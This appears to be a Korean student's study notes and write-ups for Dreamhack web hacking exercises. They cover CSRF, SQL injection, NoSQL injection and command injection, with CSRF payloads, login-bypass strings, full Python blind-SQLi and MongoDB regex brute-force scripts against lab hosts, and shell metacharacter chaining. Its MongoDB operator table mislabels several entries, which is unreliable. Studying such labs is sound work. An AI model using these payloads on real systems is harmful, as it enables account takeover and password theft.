window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337'); /* 새 창 띄우기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337'; /* 현재 창 주소 옮기기 */
location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
XSS와 CSRF 비교
공통점: 두 개의 취약점은 모두 클라이언트를 대상으로 함, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 함.
두 개의 취약점은 공격에 있어 서로 다른 목적을 가짐. XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격, 공격할 사이트의 오리진에서 스크립트를 실행. CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격. 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있음.
Exercise: CSRF
엔드포인트 (엔드포인트란, 웹 서버에서 특정 URL로 요청이 들어왔을 때 실행되는 기능을 담당하는 코드.)
/: 인덱스 페이지
/vuln: 이용자가 입력한 값 출력. XSS가 발생할 수 있는 키워드는 필터링. ( 취약점 - frame, script, on 세 키워드를 제외하고는 사용가능함. )
/memo: 이용자에게 메모를 남길 수 있고, 작성한 메모를 출력.
/admin/notice_flag: 메모에 FLAG를 작성하는 기능. 로컬호스트에서 접속해야 하고, 사이트 관리자만 사용할 수 있음 (로컬호스트: 컴퓨터 네트워크에서 사용하는 호스트명, 자기 자신의 컴퓨터 의미)
/flag: 전달된 URL에 임의 이용자가 접속하게끔 함. (GET, POST)
익스플로잇 - 공격 코드가 삽입된 /vuln 페이지를 다른 이용자가 방문할 경우, 의도하지 않은 페이지로 요청을 전송하는 시나리오. 플래그를 얻기 위해 /admin/notice_flag 페이지를 로컬 호스트에서 접근. 이를 위해CSRF 공격으로/vuln페이지를 방문하는 로컬호스트 이용자가/admin/notice_flag페이지로 요청을 전송하도록 공격 코드를 작성. (페이지 방문 위해)
csrf-1 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. CSRF 취약점을 이용해 플래그를 획득하세요. flag에 <img src="/admin/notice_flag?userid=admin" /> 제출 memo에 flag 출력
Exercise: CSRF-2
문제 목표: CSRF 통해서 관리자 계정으로 로그인
엔드포인트
/ , /vuln , /flag
/login: 로그인 페이지를 처리하며, 사용자가 유효한 사용자 이름과 비밀번호를 제출하면 세션을 설정하고 사용자를 다른 페이지로 리디렉션 하는 역할. (GET, POST)
/change_password: 비밀번호 변경을 처리하며, 사용자의 세션을 확인한 후, 새로운 비밀번호를 설정. 값을 가져와서 pw변수에 저장, session_id 변수에 저장함. users [usename]=pw 세션 통해서 확인된 사용자의 비밀번호를 새로운 비밀번호 pw로 변경.
익스플로잇 - /flag 페이지에서 admin의 session_id가 저장되므로 공격 코드가 삽입된 /flag 페이지에서 admin의 pw를 변경하기 위해 /change_password 페이지를 접근. 이를 위해 CSRF 공격으로 /flag 페이지를 방문하는 이용자가 /change_password 페이지로 요청을 전송하도록 공격 코드를 작성해야 함.
공격 코드:
<img src="/change_password?pw=admin">
csrf-2 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. CSRF 취약점을 이용해 플래그를 획득하세요.
<img src="/change_password?pw=admin"> 제출
후에 admin으로 다시 로그인
Web Hacking - SQL Injection
Background: Relational DBMS
DBMS (DataBase Management System): 데이터베이스를 관리하는 애플리케이션
SQL (Structured Query Language): RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어
DDL (Data Definition Language): 데이터를 정의하기 위한 언어. 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행. (ex. CREATE)
DML (Data Manipulation Language): 데이터를 조작하기 위한 언어. 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행. (ex. INSERT, SELECT, UPDATE)
DCL (Data Control Language): 데이터베이스의 접근 권한 등의 설정을 하기 위한 언어. 데이터베이스 내에 이용자의 권한을 부여하기 위한 GRANT와 권한을 박탈하는 REVOKE가 대표적.
ServerSide: SQL Injection
인젝션 (Injection): 이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점
SQL Injection: SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점
Blind SQL Injection: 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 SQL injection 공격 기법(참/거짓 반환 결과로 데이터를 획득, 스무고개 게임과 유사)
# 첫 번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True
# 두 번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True
substr: 문자열에서 지정한 위치부터 길이까지의 값을 가져옴. 결과로 참/거짓을 판단할 수 있음.
requests 모듈: 해당 모듈은 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있음.
Exercise: SQL Injection (simple sqli 문제 풀이)
기능: /login: 입력받은 ID/PW를 데이터베이스에서 조회하고 이에 해당하는 데이터가 있는 경우 로그인을 수행.
구조:
userid
userpassword
guest
guest
admin
랜덤 16바이트 문자열을 Hex 형태로 표현 (32바이트)
문제 풀이 접근 방법 1: 관리자 계정의 비밀번호를 모른 채로 로그인을 우회하여 풀이하는 방법
문제 풀이 접근 방법 2: 관리자 계정의 비밀번호를 알아내고 올바른 경로로 로그인하는 방법
내부적으로 처리된 SQL 쿼리:
SELECT * FROM users WHERE userid="입력값" AND userpassword="입력값"
만약 여기서 userid에 admin"-- 를 입력했을 때: (-- 뒤에 주석처리가 된다)
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
ssimple_sqli (접근 방법 1)
로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 공격 쿼리문으로 로그인 (비밀번호는 아무거나)
비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94 (0x20 ~ 0x7E)개. (쿼리를 잘 이용하고 탐색 알고리즘을 적용하면 약 65개로 축소됨.
비밀번호 길이를 구하는 코드 실행 결과:
$ ./ex.py 23742
Length of the admin password is: [redacted]
비밀번호 공격:
$ ./ex.py 23742
Length of the admin password is: [redacted]
Finding password:
1. 0
2. 0e
3. 0ec
...
Password of the admin is: [redacted]
ssimple_sqli (접근 방법 2)
로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
비밀번호 길이파악 코드:
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host3.dreamhack.games:19987/"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def solve(self):
pw_len = self._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
port = sys.argv[1] if len(sys.argv) > 1 else "19987"
solver = Solver(port)
solver.solve()
실행 결과 적혀있던 코드에서, 링크와 아래 코드를 수정함. ( 자가 없을 경우를 대비해 기본값을 설정해 에러를 방지)
port = sys.argv[1] if len(sys.argv) > 1 else "19987"
비밀번호 알아내는 코드:
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host3.dreamhack.games:19987/"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {"userid": userid, "userpassword": userpassword}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f'" or {query}-- ', "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if low + 1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ""
for idx in range(1, pw_len + 1):
query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = self._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = self._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1] if len(sys.argv) > 1 else "19987"
solver = Solver(port)
solver.solve()
실행 화면
Background: Non-Relational DBMS
NoSQL (Not Only SQL): SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰 특징이자 RDBMS와의 차이점.Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재하기 때문에 각각의 구조와 사용 문법을 익혀야 한다는 단점이 있음.
RDBSM <-> NoSQL
MongoDB: 문서 지향 NoSQL 데이터베이스 중 하나, JSON 형태인 도큐먼트(Document)를 저장
스키마를 따로 정의하지 않아 각 컬렉션(Collection)에 대한 정의가 필요하지 않습니다.
JSON 형식으로 쿼리를 작성할 수 있습니다.
_id 필드가 Primary Key 역할을 합니다.
JSON (JavaScript Object Notation): 사람이 읽기 쉽고 기계가 파싱 하기 쉬운 경량의 데이터 교환 형식
컬렉션(Collection): 컬렉션은 데이터베이스의 하위에 속하는 개념으로, RDBMS의 테이블과 비슷함.
MongoDB 연산자:
Comparison
$eq
지정된 값과 같은 값을 찾음. (equal)
$in
배열 안의 값들과 일치하는 값을 찾음. (in)
$ne
지정된 값과 같지 않은 값을 찾음. (not equal)
$nin
배열 안의 값들과 일치하지 않는 값을 찾음. (not in)
Logical
$and
논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환.
$not
쿼리 식의 효과를 반전 시킴. 쿼리 식과 일치하지 않는 문서를 반환.
$nor
논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환.
$or
논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환.
Element
$exists
지정된 필드가 있는 문서를 찾음.
$type
지정된 필드가 지정된 유형인 문서를 선택.
Evaluation
$and
쿼리 언어 내에서 집계 식을 사용할 수 있음.
$not
지정된 정규식과 일치하는 문서를 선택.
$nor
지정된 텍스트를 검색.
SQL, MongoDB 문법 비교
SELECT:
SELECT * FROM account;
SELECT * FROM account WHERE user_id="admin";
SELECT user_idx FROM account WHERE user_id="admin";
Sleep 함수를 통한 Time based Injection: sleep 함수 - 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있음. (upw의 첫 글자를 비교하고, 해당 표현식이 참이라면 sleep(5000) 명령 때문에 데이터베이스가 5초 동안 멈추게 되는 코드)
Error based Injection: 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킴. upw의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생.
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
Exercise: NoSQL Injection (Mango 문제 풀이)
NoSQL Injection: NoSQL DBMS가 악의적인 쿼리를 실행하게 하는 공격 기법.
웹 서비스 분석:
엔드 포인트: /login
admin, dh, admi라는 문자열이 있을 때 filter함수로 필터링됨.
취약점 분석:
string외에 다양한 형태의 object도 쿼리로 전달될 수 있음
uid와 upw 값을 별도의 검사 없이 MongoDB 쿼리에 그대로 사용하고 있어서 NoSQL Injection 공격이 발생할 수 있음.
익스플로잇:
1. Blind NoSQL Injection Payload 생성: $regex연산을 사용하면 정규표현식을 이용해 데이터를 검색할 수 있음. upw가 일치하는 경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있음.
정규표현식을 통해 한 글자씩 알아내야 하므로, 여러 번 쿼리를 전달해야함. (익스플로잇 스크립트를 작성)
import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
Mango
이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다. 플래그는 admin 계정의 비밀번호 입니다. 플래그의 형식은 DH{…} 입니다. {‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’} python에 Exploit Code를 작성해 실행
실행 화면
Web Hacking - Command Injection
ServerSide: Command Injection
다양한 웹 애플리케이션 제작용 언어는 시스템에 내장되어있는 프로그램들을 호출할 수 있는 함수를 지원함. 각 언어별 시스템 함수로는 PHP의 system, Node JS의 child_process, 파이썬의 os.system이 있음. 이러한 함수는 전달된 인자를 셸 프로그램에 전달해 명령어를 실행함.
시스템 함수를 사용하면 이미 설치된 소프트웨어들을 쉽게 이용할 수 있다는 장점이 있지만, 함수의 인자를 셸의 명령어로 전달한다는 점에서 치명적인 취약점(Command Injection)으로 이어짐.
인젝션 (Injection): 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법. 웹 애플리케이션을 대상으로 하는 인젝션 공격은 SQL Injection, command injection등이 있음.
커맨드 인젝션 (Command Injection): 인젝션의 종류 중에서 이용자의 입력을 시스템 명령어로 실행하게 하는 취약점을 말함. 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생. 개발자는 이용자의 입력을 반드시 검사해야 하며, 되도록 system 관련 함수의 사용을 자제해야 함.
이는 리눅스 셸 프로그램이 지원하는 다양한 메타 문자 때문. 시스템 함수는 셸 프로그램에 명령어를 전달하여 실행하는데, 셸 프로그램은 다양한 메타 문자(아래에 설명)를 지원.
메타 문자 (Meta Character): 특수한 의미를 가진 문자.
`` - 명령어 치환
$ echo `echo theori`
theori
$() - 명령어 치환 (위와 다르게 중복 사용이 가능)
$ echo $(echo theori)
theori
&& - 명령어 연속 실행: 한 줄에 여러 명령어를 사용하고 싶을 때 사용. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행.
$ echo hello && echo theori
hello
theori
|| - 명령어 연속 실행: 한 줄에 여러 명령어를 사용하고 싶을 때 사용. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행.
$ cat / || echo theori
cat: /: Is a directory
theori
; - 명령어 구분자: 한 줄에 여러 명령어를 사용하고 싶을 때 사용. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행.
$ echo hello ; echo theori
hello
theori
| - 파이프: 앞 명령어의 결과가 뒷 명령어의 입력으로 들어감.
$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)
주목해야 할 것은, &&, ;, | 등을 사용하면 여러 개의 명령어를 연속으로 실행시킬 수 있다는 것 ( 따라서 공격자는 메타 문자를 통해 임의 명령어를 실행하여 셸을 획득할 수 있음.)
Exercise: Command Injection ( command-injection-1 문제 풀이)
문제 목표: 서버 내부에 있는 flag.py 파일 내의 flag를 획득
/ping: 입력받은 특정 Host에 Ping 패킷 전송을 수행.
ping 페이지를 구성하는 코드 설명: 요청에서 host라는 이름의 폼 데이터를 가져옴. 가져온 host 값을 사용하여 ping 명령어를 실행. subprocess.check_output 함수를 사용하여 /bin/sh에서 cmd 명령어를 실행하고, 결과 출력을 변수 output에 저장. 다음과 같은 부가적 기능을 가지고 있음.
명령어 실행 중 예외가 발생하지 않으면, 결과 출력을 UTF-8로 디코딩한 후 ping_result.html 템플릿과 함께 렌더링하여 반환.
만약 명령어 실행 시간이 5초를 초과하면 subprocess.TimeoutExpired 예외가 발생하며, Timeout ! 메시지와 함께 ping_result.html 템플릿을 렌더링하여 반환.
명령어 실행 중 오류가 발생하면 subprocess.CalledProcessError 예외가 발생하며, 해당 오류 메시지와 함께 ping_result.html 템플릿을 렌더링하여 반환.
command-injection-1
특정 Host에 ping 패킷을 보내는 서비스입니다. Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다. 개발자 도구에서 <input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required=""> 확인 (필터링 검사)
<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" required=""> 로 수정 (필터링 제거)